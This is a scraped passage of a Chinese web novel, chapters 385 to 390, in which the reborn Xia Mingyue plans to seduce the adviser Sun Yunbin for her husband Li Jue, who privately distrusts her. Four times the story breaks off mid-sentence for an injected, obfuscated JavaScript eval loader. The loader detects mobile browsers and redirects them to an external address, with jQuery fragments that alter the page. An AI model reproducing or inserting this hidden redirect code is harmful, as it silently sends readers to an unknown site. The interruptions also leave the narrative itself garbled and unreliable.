李玦现在说得好好的,说是等过上一年,就把这孩子送到庄子上去,保证再不理他。这孩子长大最多做个富户,是绝对不能和她生的儿子抢的。 可那吕大姑娘之前还没上族谱、官碟呢,现在都上了,谁知道一年后这孩子会如何安排? 男子对自己的第一个孩子总是比较特别的,要是李玦把这孩子带在身边教养、历练,等到将来,这孩子已经能独当一面了,她的孩子却还在念书,这还了得? 她凭什么不能生李玦的气了?她就要生气,气死他,等他看到她不是非他不可的时候,他一定会求着她回去的。 巧兰吓得睁大了眼睛:“夫人,您可不能有这样的想法。奴婢知道您心里苦,奴婢也都是站在您这一边的,可是这世上的人对女子向来苛求,这都是没办法的事。” “世子他可以娶妻纳妾,可是您至少不能这样把事情闹到明面上吧……” 第385章她的牺牲也是招揽 巧兰简直要疯了,这才成婚多久,夏明月就看上别的男子了? 夏明月和李玦他们夫妻之间是闹了些不快,可是谁家过日子不是磕磕绊绊的,夏明月连个孩子都没有,正式该重修旧好,早些生下嫡子才是。 这时候弄出一个……一个男宠来,还是孙家人。别看是旁支,真被搬上台面,那也是得被正经对待的。 夏明嫣跟这个孙允斌如何她不清楚,可就算夏明嫣真有这么档子事,那也是个谨慎、懂得为人处事的人,人家有法子掌控一切,夏明月却没有。 夏明月却道:“你以为我傻啊,我也不会在明面上,不过是偶尔找个知情知性的人陪侍一下罢了,又不是这要把他纳入府中。” “我现在算是看明白了,咱们世子想去北疆历练,他日想要重建李家军,都绕不开人家华侯。可我一个女人怎么也不好跟自己的姐夫走得太近吧?何况他还是那样一个人。” 她想起上辈子华靖离的冷硬和无动于衷就想打哆嗦,“我要想知道什么,还是从夏明嫣那儿着手最好,虽然她这个人不好相处,可是她对身边的人说的大多都是真话。” “我要是能通过这位孙公子了解到她那边的事,再通过他给夏明嫣吹吹枕头风,说不定这事儿就成了呢,我这也算给我的夫君立功了呢。” “可是……奴婢瞧着方才那位孙公子在回话时有些犹豫,万一他跟华侯夫人不是那种关系呢?”巧兰皱眉道。 夏明月只愣了一下,很快就道:“那也没什么,她不是怜贫爱弱么?这孙公子家道中落,从小不受嫡支待见,还怀才不遇、背井离乡,这跟她也算是同病相怜。” “就算他们不是那种关系,她也定是想要扶助这孙公子的,这男女之间,不管是男女之情,还是惜才、爱才,她都离他足够近,他也能从她那儿听到别人轻易打探不到的。” “再说了,你也不想想,世子为什么让我来见他。就这点儿事儿,找个管事儿的来传话不就是了,还千求百请地让我过来?” “还不是想让我留住这个孙允斌?我拿什么留住他?要是靠说服,也用不上我了……” 自己的夫人有足够的魅力留住自己的谋士,又没有闹到台面上,这也不是什么丢人的事儿。 就算是孙家,孙太后在世时不是也跟当年的右相有过一段,皇室对这段过往讳莫如深,可是民间百姓都很理解孙太后,认为她是为了大局委曲求全。 夏明月根本就不怕,要是李玦现在纳个妾,她恐怕也拦不住,那凭什么她就不能在外面玩一玩呢? 只要不闹大,不影响子嗣血脉,李玦都让她来见孙允斌了,怎会那般锱铢必较?只要她能帮李玦收拢了这个人不就行了。 夏明月一点也没怀疑李玦的眼光,也没怀疑过孙允斌会被她吸引,因为她有上辈子的记忆,之后的孙允斌会官至右相,把持朝野,成为大恒王朝实际意义上的掌控者。 就是李玦后来成了端王,也无法与他抗衡。李玦上一世也是感觉到孙允斌这个人不好控制了,才会让孙允斌去华家家庙里联络她,让她控制住这个人。 像孙允斌这样的文士,想要控制他们,只用权势、财势和威逼利诱是不够的,还得握住他们的心。 上一世李玦让孙允斌找她的时间还要晚一些,这一回早了足足两年,这么看来这辈子他们更得抓紧孙允斌这个人才了。 男人有几个是不偷腥的?这个孙允斌现在见识尚浅、磨砺不足,心志还不够坚定,对她来说简直手到擒来。 而且按理说,还是两年后在元京受挫多时的孙允斌更为成熟,现在的他更容易被她吸引才对。 上一世她跟孙允斌有过一段儿,后来因为她仍然在家庙,这种关系无法持续,也就断了,后来李玦也没控制住孙允斌。 孙允斌一旦入了朝堂和南疆,就像一匹脱缰的野马,逃出了李玦的掌控。这一世她一定更加把握住机会,牢牢地把孙允斌控制住才行。 夏明嫣笑得灿烂,她才不会因为这个跟李玦闹矛盾,要是李玦知道她为他留住了这样一个人,做出了这么大的“牺牲”,还会感谢她呢。 她也要为自己多打算一下,这一世的一些事儿已经发生了变化,万一将来李玦对她不死心塌地了呢? 就算是前世,在她离开家庙改嫁之前,李玦可是先后有过两个妻子和好几个妾室的,万一这辈子还有这样的人还在李玦心里扎了根了,她得有自保的手段才成。 夏明嫣和睦华家上下、打理庶务和嫁妆充盈自己的实力,她自认没有这样的本事,可她也有夏明嫣没有的本事啊。 一个女人对另一个男人再有爱才之心,也比不过男女之爱,她非得把孙允斌拉过来才行。等到她成功了,她要让夏明嫣尝尝被自己栽培的人背叛的滋味。 夏明月下定了决心,赶紧回了端侯府,她是重生了,可李玦没有,李玦一定还没有意识到孙允斌后来会有那么大的价值。 她要去提醒李玦,只有孙允斌更有价值了,她的“牺牲”才会更有价值。 夏明月一回去就去见李玦,李玦这时候也正忐忑着,他担心夏明月真的会跟孙允斌发生什么,他也期待夏明月能有更聪明的手段笼络住孙允斌的忠心。 他初时孙允斌的时候,他便欣赏这个人在某些事情上的见地,认为这是一个可塑之才,不过是被孙家老家的环境束缚住了,只要遇到伯乐,他日这人一定另有作为。 可是元京人才济济,端侯府在落魄,也不是完全无人可用的,按理说,他就算重视孙允斌,也不该太重视,不然他也不会听说钩翊侯府给姑娘招女师,就让孙允斌去了。 李玦不傻,对真正的大才他还是知道尊重的,不会让大才去做这些挽裙带之事,他就是觉得孙允斌是个可用却才能中等的人才而已,可是这几天情况又不同了。 第386章假惺惺 御青书院的擢选前几日已经举行了,李玦和华靖和双双榜上无名。 区别在于,华靖和是声称自己能入终选,是被有心人当作垫脚石从而故意推波助澜所致,他的才能实在难以与御青书院相配,因此主动退出。 而李玦是因为名声太难听被劝退的,来端侯府劝他退出的夫子说,他不能齐家,生母有错,他没有表达应有的立场,他教妻不严,在妻子当堂殴打自己母亲的时候未能制止,再有便是那些不方便说出口的因由,比如吃软饭…… 御青书院是风骨之地,就算才华不济,但只要有风骨,也会在擢选上得到应有的尊重。可是李玦这样的……说句难听但现实的话,他要是去了擢选了,那些与会、列席的人都不知道该用什么表情面对他。 这条路已经堵**,尴尬的是这条本是夏明月一力图谋来的路断了,而这条路塌下来的“巨石”——诬陷华靖和的吕家旧事,正好堵住了他前往北疆的路。 而袭爵的事也缓了下来,连楚霆孝和夏庸现在都不敢为他说话了。他现在要是不做出点功绩来,恐怕这袭爵之事还要继续往后延。 可是他不过举人功名,因为圣上对老端侯有恨,他不仅没袭爵,这个年纪了连个差事都没有,他现在想去当个文官也是不可能的。 唯一有机会并且能早些创出功绩的法子还是得入军中,而且之前夏明月给她建议找到的张老将军父子,虽然对方没有收下他的重礼,也没有与他定下什么盟约。 可是在他拜访几次之后,张家父子已于前些日子重回北疆军中效力,这不得不让他多想。 张家父子在当年遭受冤屈之后,虽然后来**昭雪,可是他们意志消沉,加上唯一的女儿怪病缠身多年,他们便没有再返回军中。 他去了三回对方就决定起复了,不多不少,正好是三回,这就意味着他三顾茅庐成功了吧?这种事是有特殊象征意义的,一定是这么回事。 这张家父子虽然没有明着跟他结盟,但也一定承了他的劝说之情了,他要是能去军中,张家父子一定会帮助他尽快立下军功的。 张家虽有战功和封位,却并非勋贵之家,这样的人家即便再立军功,将来的封赏和官位的上升都很有限了,很多时候在自身已有军功的情况下,会把个把功劳放在别人名下,以求结盟或富贵。 李玦相信,张家父子就是这么想的,因此他得趁着这人情还没凉,赶紧去军中,等他有了军功,这边楚霆孝和夏庸才好继续帮他说话。 到时候他袭爵就水到渠成了! 李玦这时候就像一只关进笼子之后吃饱了的鸽子,不停地扑棱着翅膀,双爪离地,头顶却是笼顶,它只能不断地撞上笼门。 而这时只要笼门一开,他就会振翅高飞,他缺的不过是笼门开时的那一瞬间机会罢了…… 李玦从小到大最远只去过元京郊外不足五十里的地方,他想着祖父、父亲在南疆都有那般功业,他自认不会比他们差,他缺的只是机会而已。 他丝毫没有想过一种可能,鸽子就是鸽子,并不是所有鸽子飞上长空之后都能化为雄鹰的,大部分鸽子永远都是鸽子,飞不高也飞不远,还会成为鹰隼的食物…… 夏明月回来时就看到李玦坐在那儿望着窗外的园子出神,脸上时不时地露出些莫名的笑来,那是一种成功在望的神情。 夏明月一看到这些表情,心里立刻软了下去,他还是在为他们的将来筹谋的,她的夫君如此上进,她由衷地感到欣慰: “夫君,我回来了。见到你说的人了,不过说了些寻常的消息,没多少新鲜的,他说的那些你之前也都能猜到,你干嘛非让我去见这么一个人?” 夏明月说话时带着她惯有的那种撒娇做痴,往日里她这般主动,李玦就算不原谅她,也会跟她搭话。 李玦刚才没留意到夏明月回来了,猛然感觉到 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“明月,你回来了?可有受什么委屈?你出府之后我派了人去追你,可是没有追上。我越想越不妥,不该让你独自去面对一个陌生男子。” “他有没有对你……不尊重?他要是敢如此对你,我便不用他了,我李玦再是落魄,也不至于要用一个辱我妻子之人。他再是后族也没用,我定将他送到衙门里去!” 夏明月见李玦说得如此真挚,立刻露出了感动的神情,她的阿玦哥哥最看重的还是他。 这里面的话她当然知道是半真半假的,就比方说派人去追她,元京就这么大,她去哪儿跟孙允斌接头也是之前就定好的,真要派人过去哪有找不到她的? 就算院子外面有人守着,可都是自家的下人、护卫,又怎么会拦他这个世子爷的人……这追人本来就是假的。 第387章再心仪也不过是个女人 何况孙允斌才刚刚开始为他做事,什么都还没做出来呢,只要她不主动,孙允斌还能把她怎么样不成? 更别提里里外外的下人多了,她喊一声就能进来把孙允斌按倒……这些李玦都知道,这不就成了明知故问了吗? 夏明月还是把李玦的这些话当作一种在乎和关心,她带了几分自傲和骄矜地道: “我知道,夫君你心疼我,怕我被那孙允斌占了便宜。可你也不想想,我是什么人,还能连一个土包子都应付不了了?何况既然是传送密事,说话时就只有我和他两个人。” “那个毛头小子,没说两句就面红耳赤的了,还能对我做什么呀。夫君你把这样的事儿交给我做,不也是了解我、相信我能把事情办好么?放心吧,没事儿。” 要是别的女人,发生了这种事,定会讳莫如深,简单说两句就把这件事揭过去,不会对自己的丈夫表这种功劳。 这种事就算是为了家族做的,对男子来说,卑躬屈膝、哪怕是做了女子的面首,待到将来功成名就,世人都会说他卧薪尝胆。 可是女子就不一样了,这种事跟再嫁不一样,有这种事,将来就很难有大的成就,就算有,这也是要被唾沫星子淹死的。 那还是在这女子的夫君已经不在了或是分开了的情况下,要是这丈夫还在,夫为妻纲,有这种事儿在中间膈应着,这女子能过得好?就算位分还在,那也过不了什么好日子。 李玦听了这番话,没有感动,心里头反而更加恶心了,这不是不以为耻、反以为荣么?这不是恬不知耻么? 李玦一个劲儿地安慰自己,好歹夏明月是为了他才去的,而且她最多就是占孙允斌点便宜,对她这样的高门贵女来说,关起门来也不算什么稀罕事。 李玦错开眼眸,只想把这个话题错过去:“有贤妻如此,我此生足矣。明月,我也是担心你,在事成之前,行事还是要注意些,要是影响了名声……” “怎么,你还想嫌弃我不成?”夏明月杏眼圆瞪。 李玦调整了一下心绪,终于将夏明月揽入怀中:“我怎敢嫌弃夫人,最近出了这么多事,我和母亲闹了大笑话,母亲还落了罪,我还担心夫人嫌弃我。” “明月,你放心,我们的情分是打小就有的,跟别人不一样。我向你发誓,除非圣上或上峰赐了人下来,我此生唯有你一人,绝不再娶。” “就是有不能不从的时候,不到万不得已,我也绝不给她们名分,连做妾室都不行。” 夏明月心里甜丝丝的,她当然知道李玦不可能以后只有她一个,可这轻易不给对方名分,已经是能给高门宗妇最大的承诺了。 毕竟要是圣上赐妾,他不从,就是抗旨。要是上峰送了人过来,他不收,那是会影响前程的。 她虽然想要一生一世一双人,可是她可不想做破败侯门的妻室,只有李玦有了权势和地位,她这个正室才能更风光。 她不能因为自己的嫉妒影响了李玦的前途,那也是她自己的前途、权势、地位,这也是她为什么能容得下何雨萍的原因。 因为何家能在暗处帮端侯府做那些脏事儿、琐事,何家有用,上辈子夏明嫣不也一直忍着何雨萍么? 不然李玦恐怕还要晚几年才能成为端王了,等到那时世道变了,孙允斌和谢维都站稳脚了,他这端王还能不能当上都不一定了。 这很多事儿,时机很重要,如果容下一个女人,就能换取一个先机,她也不会拒绝。 何况,李玦心里最认可的女子还是她,即便她做了荒唐的事儿。 夏明月这个人有一个别人没有的特质,就是想一出是一出,这会儿她又想试探李玦对她包容、宠溺的底线: “名声我自然是会尽全力护着的,可是日子久了,万一传出了什么不好的话,夫君可愿意站在我这一边?这种事只要你我都不认,只要你始终相信我,别人的闲话就都不重要。” 见李玦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946141|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有立刻答话,她主动往李玦身上靠了靠,“眼下最重要的还是你的前程,咱们也没有华家那么好、那么直接的前程给人家,拴住这样的毛头小子、年少才俊,可不是得动之以情么?” “有的时候,有些不妥当、过火了些,你要是还计较……我就不去了。” “不去了?不行,你得……我是说,欲成大事,就要不拘小节,我现在连爵位都没有,你这般为我,我要是还计较,我岂不是连人都不是了?” 这样冠冕堂皇的话,李玦张口就来,他这些年当冠玉公子受的**都能忍,这点不舒服也没什么忍不了的。 他心里想的却是孙允斌,他原本想着这不过是一个中人之才,可不知怎么的,最近他做了一个颇为真实的梦,居然梦见孙允斌将年迈的楚霆孝羞辱了一番。 在那梦境中,楚霆孝根本拿孙允斌没法子,受了羞辱了,也没有反唇相讥,甚至要给孙允斌赔小心。 要是平时,他或许不会相信这种荒唐的梦境,可是这个梦实在太真实了,让他不得不信。 关键是这梦也不是全然荒唐的,孙允斌家里的条件实际上比许多寒门都不如,可是他毕竟是后族旁支,万一这孙家的天赋和运气在这一代就落在孙允斌头上了呢? 他心里对楚家、夏家一直有气,明明祖辈一同谋划了那件大事,出了事了,却要他们端侯府和陆家背,凭什么? 别看他娶了夏明月了,但凡他将来有机会,他一定要把过去和现在遭受的**都还回去! 何况到时候他要是成事,局势必定要乱起来,乱世中是最有可能异军突起出枭雄的,说不定孙允斌就是那个枭雄呢? 这种事宁可信其有,不可信其无,就算夏明月真跟孙允斌怎样了,他虽然痛心,可是跟他可能得到的天下比,又算得了什么? 不就是一个女人么,他再心仪也就是一个女人,他喜欢吃江刀鱼,难不成还能把江刀鱼当作祖宗牌位供着不成? 第388章爱的正反面 夏明月见李玦对她仍旧无度包容,心里更加满意了,终于把话绕回到了正事儿上。 李玦能让她去拉拢孙允斌就是已经知道这人的重要了,可她想着,李玦毕竟没有重生,怕是不知道孙允斌到底有多重要。 她不想对李玦点破重生的秘密,只得一个劲儿地夸赞孙允斌: “夫君,这孙公子虽然功名不显,却是个颇有见地的,他还很会办事。你看,他没当上华二姑娘的文墨师父,一转身就到了我长姐身边了,要是没点本事,根本办不到。” “不仅如此,他竟然跟你的那位邓家表妹,如今的邓小娘,也搭上话了。那位可是跟你闹翻了的,他都能搭上话,还给他提供消息,这绝对是个会做事儿的人。” “都说莫欺少年穷,说不准这孙家的风水在这一代都聚到他身上了呢。我看他是个不错的,有我外祖父从前的风范。” 李玦心里咯噔一下,他刚做了孙允斌跟楚霆孝争吵的梦,他虽然对孙允斌这股助力的未来抱有希冀,可要说完全相信那个梦,至少现在他做不到。 要知道各个府上的幕僚、谋士,将来能官居五品、四品的已然不多,就算孙允斌再有出息,他能有四品,他就够满意的了,要是能有三品,都做梦都能笑醒了。 可要是再高,他不止不信,他也不敢留这样的人了。 底下的人没本事办不了事,太有本事了,那边难以一心,这样的人不好控制,稍有疏忽反而会给自己使绊子,反客为主。 不过,最关键的是,他还是不能真的相信孙允斌能跟楚霆孝比肩,可更关键的是,他都不相信,夏明月为什么会说出这样的话? 若只是为了夸赞他的决定英明,她会用别的方式或是古时圣贤比拟,但用到了她自己的亲外祖父,就说明她是真的相信孙允斌会有这么大的作为的。 李玦不由得凝视了夏明月一会儿,不禁哂笑,夏明月学的都是些闺中女子学的东西,又不像夏明嫣那般有远见,她哪里懂得什么是经世之才? 她能够这般形容孙允斌,恐怕就是真的看上这个人了,他指的是从女人的角度看上了。 他在心里冷笑,面上便也淡了些:“哦?你竟然这般看好他,是觉得他有宰辅之才?” “是啊,这有什么问题?他有些地方真的很像年轻时的外祖父,我可没骗你。何况他本就出身孙家,说不好就像他们孙家的老爷子了呢?” 夏明月也不知道该怎么解释,关于孙允斌的将来,她没有也不懂如何考校人家的才华,只是凭借着前世的记忆才这么说的罢了。 她没有意识到李玦目光里的不信任,她只是觉得不过是重视一个门客,她如此笃定,还央求了他,他就不该不信她, “夫君,你就听我的吧,横竖现在离你要去南疆恢复祖上荣光还早呢,这就是对一个谋士多加礼遇罢了,还有我帮你张罗着,能费多少事儿。” “他现在正是落魄的时候,你对他好些,将来他总会念着你的好的,你可不要不信我……御青书院的事儿,的确是我判断失误,可这回不一样,你真的得信我。你……你发誓你会相信我,好不好?” 夏明月特别迫切地想让李玦把优抚孙允斌时刻记在心里,这一点绝对不能忘。 她很清楚李玦在某些方面是有大本事的,要不然前世他也不能夺了华靖离的性命和在南疆的军功,要是将来孙允斌能为他们所用,那是最好的。 要是孙允斌倒戈他人,或是自立门户、与他们为敌,其实李玦大可以像对华靖离一样对他,将他的一切都抢过来! 可要说让李玦名刀明抢的去抢,他根本就不是华靖离和孙允斌这样的人的对手,他能做的只能是故意跟这人亲近,之后伺机取而代之。 其实这些话夏明月要是明说了,李玦反而就相信她真是从招揽人才的角度思考问题的了,可她说了也会产生一个问题。 李玦的这种能耐或者说心性, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951467|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然夏明月不觉得卑劣,她认为不择手段也是朝堂上的一种可贵的能力,可要是她就这么说出来,李玦一定会认为她看不起他。 夏明月还不能清楚地认识到她现在怎么说都是错的,李玦心里已经彻底地冷了下去。 在他心里,夏明月如此看得上孙允斌,完全是因为她看上孙允斌了,大有将对方纳为面首的意味。 而且孙允斌至少是有一定的本事的,夏明月要是跟他的关系深了,完全可以跟他结盟,从而把他给架空了。 李玦从来都不认为夏明月是一个在情爱方面很纯粹的女子,他更不觉得她会一直这般行事无所顾忌下去,夏明月是楚、夏两家的女儿,他相信过上几年,经过的事儿多了,她定会成为楚氏、夏明嫣那样的女人! 可他既然相信夏明月会变成那般模样,就得堤防着她将来和别人联手在他背后做些什么…… 这世上的情爱往往有诸多奇妙的一面,就好比一个女子的优势随时可能变成劣势,从前可以被这个男子欣赏,之后也可以被其疑心,高门之中因为权势闹翻的夫妻可并不算罕见…… 李玦压下心里的不安和不满,藏在袖子下的手紧握,面上已然恢复了平静: “我怎会不信呢?你自小在岳父和相爷身边耳濡目染,看人向来准确。我不怪你,还要谢你为我慧眼识珠选出了这样一位大才。” “你放心,既然是大才,又难得落在了我手里,我也会善待、栽培于他的。不过他如此大才,让他一直在钩翊侯府里做个眼线倒是委屈他了。” “不如这样,要是我能去北疆历练,之后我就找个机会把他弄出来,让他随我去北疆,或是先派他去南疆打前站,这样才不算屈才了。” 夏明月以为李玦终于可以认真对待她的提议了,顿时喜上眉梢:“他真的是大才,你信了就好,错过了你一定会后悔。不过,现在就让他离开元京,是不是早了点,或许还能有更好的去处呢?” 第389章大恒普信男 夏明月这么说真没别的意思,她是按照回忆里来的,上辈子的孙允斌是后来去的南疆,在此之前他已经在元京结实了太子谢维,成为了东宫舍人。 只是为了便易行事,没有宣布对他的任命,他前往南疆时面上是李玦的人,实际上是谢维的人,但也正因为如此才促成了李玦跟谢维的合作,让他有机会成为异姓王。 就像她刚才说距离李玦去南疆建功立业还早一样,上辈子他也是五年后才去的南疆,这些在她看来都是正常的暗示和提醒,没什么错的。 就算李玦没有重生,从另一个角度想,孙允斌才来元京不久,刚适应了,正是开始积累人脉、打开局面的时候,这时候又换到南疆去,前头的工夫都耽误了。 而且南疆现在太乱了,孙允斌没有谢维的支持,很难在那边把摊子铺开,他去了也没用。 但这些在不知重生为何物的李玦耳朵里,就变成了瞧不起他,觉得他出不了头,而对孙允斌,则变成了她看上了对方,想把对方留在元京。 特别是李玦已经说了他要去北疆,这种情况下,夏明月还要留下孙允斌,不是把他当作面首还能是什么原因? 李玦强忍着这口气道:“我再想想,眼下还是要先去北疆,那边战事已熄,如今已到了平复两边关系的时候,也是最容易得到军功的时候,我必须得去。” “华靖离那边可是不愿意应承了?我听说华靖和好像也不去了,这样的话,我也没了理由。孙允斌才进府不久,起到的作用有限,看来我还是得另想法子。” 孙允斌入府一为眼线,二来希望他将来能借着夏明嫣和华青青跟华靖离弥合关系,就算做不成兄弟,也做不能为友,至少不能做敌人。 即便华家的势力只在北疆,他想重建李家军,在南疆,也一样绕不开华家。 更何况他最近听夏庸说起过,华靖离竟然提出了将部分华家军和华氏族亲迁入南疆,而将原本这些人在北疆的封地、宅邸和势力范围交由圣人重新分封。 他将来在南疆开拓自己的势力范围就更加绕不开华靖离了,而且华家从北疆撤出部分势力的当口,他要是能去,说不定除了原本要得到的军功,还能再分到一杯羹。 夏明月却皱了皱眉道:“去了北疆,就一定能得到军功吗?那张家父子可还靠的住?” “这人选不还是你给我的么?不是你从岳父那儿得知的?”李玦疑惑地道。 夏明月尴尬地点了下头,这人选的确是她给的,可她有些记不清楚了,这人上辈子是夏明嫣收拢的,还是李玦自己收拢过去的。 如果是夏明嫣笼络过去的,她一个从不认识这对父子的女子,要笼络他们,定然用了更复杂的方法。 要是李玦自己笼络过去的,才有可能跟现在方法一样。就怕是前者,那李玦的法子可就太简单了,怕是根本笼络不住他们。 夏明月不好说得太明白,只得道:“我这不是担心你么?这两父子当年是在北疆受了委屈,才借着女儿的病留在元京家中多年的。” “我都打听过了,当年造成这一切的人早已被罢官。我是担心他们回到军中之后,重新跟昔日故旧和缓了关系,他们可还会记得夫君你对他们的诚意?” “那些军中的大老粗最是讲究袍泽之义,你跟他们毕竟是刚刚相识的,会不会……等你过去了,他们忘了现在的承诺,你一个人在那边,冰天雪地的……” 要是那张家父子反悔了,李玦在那边再去跟别人结交,虽然有夏庸这个兵部尚书的情面在,可是结交人需要时间。 北疆那边的条件可不比元京,他万一在那边出点什么事儿,那就鞭长莫及了。 夏明月难得说了几句靠谱的话,不过李玦现在急于去北疆,而且他对自己很自信,并没有太把她的话放在心上: “不至于,这结交多少人又没有限制,又不是说跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953253|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的故旧好了,就不能帮我了。他们张家毕竟离开北疆也有些年头了,想要恢复过来,也需要时间。” “多个盟友总是好的,他们肯在这个时候回北疆,何尝不是听了我的建议?大家都是需要帮助的时候,帮一帮我,他们也没有损失。” “况且还有岳父的面子在,华靖离就算不是我的义兄了,也还是我的连襟、你的姐夫,北疆那边也未必就清楚这里面的勾勾绕绕。你不必担心,这点困难难不倒我。” 高门之间的事,面上是一回事,背地里则很可能是另外一回事,只要行事得当,那边的人未必就能知道他们已经交恶了。 以华靖离和夏明嫣的为人,只要他们两边不再有新的冲突,这二人也不会主动到北疆宣扬这些事。 李玦这时候信心满满,他在元京能维持这么多年义结金兰、兄弟情深的形象,在北疆只是营造出两家没有结仇、私下交情还可以的假象,一点也不难。 接着李玦又问了些华靖离伤情的事,听了之后,做出了决定, “他之前也对我说过,他的身子只是看起来好了,没想到还有这般影响子嗣的问题。邓家表妹和姨姐只说了子嗣上的问题,那是因为这件事跟她们关系最深。” “他这身子现在最大的问题是,他该如何统领华家军。算算日子,他这伤要是像他表面那样好了,再过上一两个月就该回北疆了。” “要是到了时候不走,或是现在就传出风声他回不了北疆,就说明他再难统领华家军,就连将来华家军南迁一事也未必能统领。” “我若是能利用好这一点,或许能重新换取他的引荐。他既然害怕圣上忌惮,已经决定急流勇退,这北疆他们让出来的地方分给谁不是分。” “我的要求并不过分,只是要些许记下军功的机会,以备袭爵之用。我也无意一直在北疆,不会借他的人脉太久,他若是不答应,我也不介意提醒他一下。” 第390章你,盛气凌人! 李玦认为他的要求一点也不过分,就算他跟华靖离闹翻了,他们现在也还是亲戚。 况且无论是他让说书匠渲染他跟华靖离的关系,还是吕家和邓澜的事,显得他有多不堪和卑劣,这些都没有在实际意义上对华靖离造成伤害。 就算是害得华靖和名声受损,给华靖离和华家造成了不少隐患,但这些都属于“未遂”,不是不能原谅的。 他只是要一个能够帮助他袭爵的机会,他以后的重心都在南疆,他在北疆得到的一切,之后都可以放弃或转交给别人。 要说这军功,有一部分那是是谁的就是谁的,但有一部分就看上峰愿意给谁了,有时候为了把某些利益相关的人吸纳进来,扩充利益群体整体的势力,许多军功原本的所有者,还会主动把功劳让出来给对方。 李玦想得很清楚,他就是要几个看起来还可以的功劳,让楚霆孝和夏庸能有个由头,再向圣上重提袭爵之事就可以了。 他可不像陆家,是真想在北疆暗中扩充地盘的,就是前些日子他去相府时,楚霆孝还说呢,陆家在彭州已经经营多年,别看那是流放之地,其实打有玄机。 还不知怎么的,暗示他好好待夏明月,说是将来他还能从彭州和陆家受益,他一时也没闹明白,夏明月和夏家跟陆家有什么关系。 虽说楚、陆、李、夏三家的利益是一致的,但其实一开始只有他们前头的三家,夏家是后来的。 而因为跟楚氏最早定亲的是陆家的宗子陆远山,陆家出事,夏庸很快就娶了楚氏进门,这两家还算是有仇呢…… 不过,他想了想也觉得大概是楚霆孝让他也向陆家一样想想办法,人家在苦寒的流放之地尚且能挣出一番天地,让他也多尽些力,等事成了,楚家、夏家都会对他好…… 李玦没想这么多,终于在五日之后,华靖离从宫里出来去城中茶肆与张礼岁见面后将这二人堵在了茶肆门前。 自吕家之事后,华靖离和张礼岁都没有见过李玦,这时在看他,都感受到了他的变化。 从前的李玦外表光鲜,有一种飘逸之态,被人元京百姓称为冠玉公子,而现在的李玦像一只身上沾了油污的白鹅。 油污不比水,日头晒一晒就干了,油沾上不仅会使羽毛黏腻地粘在一块儿,还会粘上旁的污物。 现在的李玦就像一只浑身羽毛被油污弄脏了的大白鹅,不仅外面看起来染了污物,整个人也有一种落魄后萎靡不振的感觉,只是他自己还没有意识到这一点。 张礼岁轻咳了一声,作势要走:“华侯,看来李世子有事找你,我就先回去了,你们慢慢说。” “等等,请张大人留步。今日我来是想让华侯做个决断,正好张大人也在,就想请张大人做个见证。”李玦面色凝重地道,对着张礼岁一揖。 张礼岁是元京府尹,之前在吕家之事上判决公正,口碑很好,由他来做见证是最好的。 张礼岁不好抬脚就走,转头看了华靖离一眼:“华侯,你看着……那我就留下听一听,可好?” 华靖离颔首,看向李玦,像是一点都不知道今日为何被他拦住:“有劳张大人了,李世子不知今日是为了何事?要是没有要紧事,不如到茶肆里面一叙。” 这是元京最大、最出名的茶肆,来往此处的人多是贵人和大商贾,这时候掌柜的听见动静已经出来了,里面的小厮得了暗示,很快就点了头。 这意思就是还有雅房,茶点也能很快安排好,掌柜的就配合着要把三人重新往里面迎。 可李玦却不同意了,他坚持这件事要在门口解决:“大庭广众之下,昭昭日月,朗朗乾坤,有什么不能说的?华侯,张大人,这件事就要在这里解决。” 张礼岁和华靖离对视了一眼,前者是真不知道李玦葫芦里卖的是什么药,华靖离抬了抬手,示意李玦说下去。 这茶肆有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963105|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三层,不仅内里有楼梯可以上去,这外面也有石阶能上到二楼,因此这石阶是有些高度的。 华靖离和张礼岁刚从里面出来,自然比李玦这个刚从马车上下来的站得高,原本李玦的身量就没有华靖离高,如今这么一笔,华靖离居高临下、浑身上下带着威慑力,看起来一下子就比他高了许多。 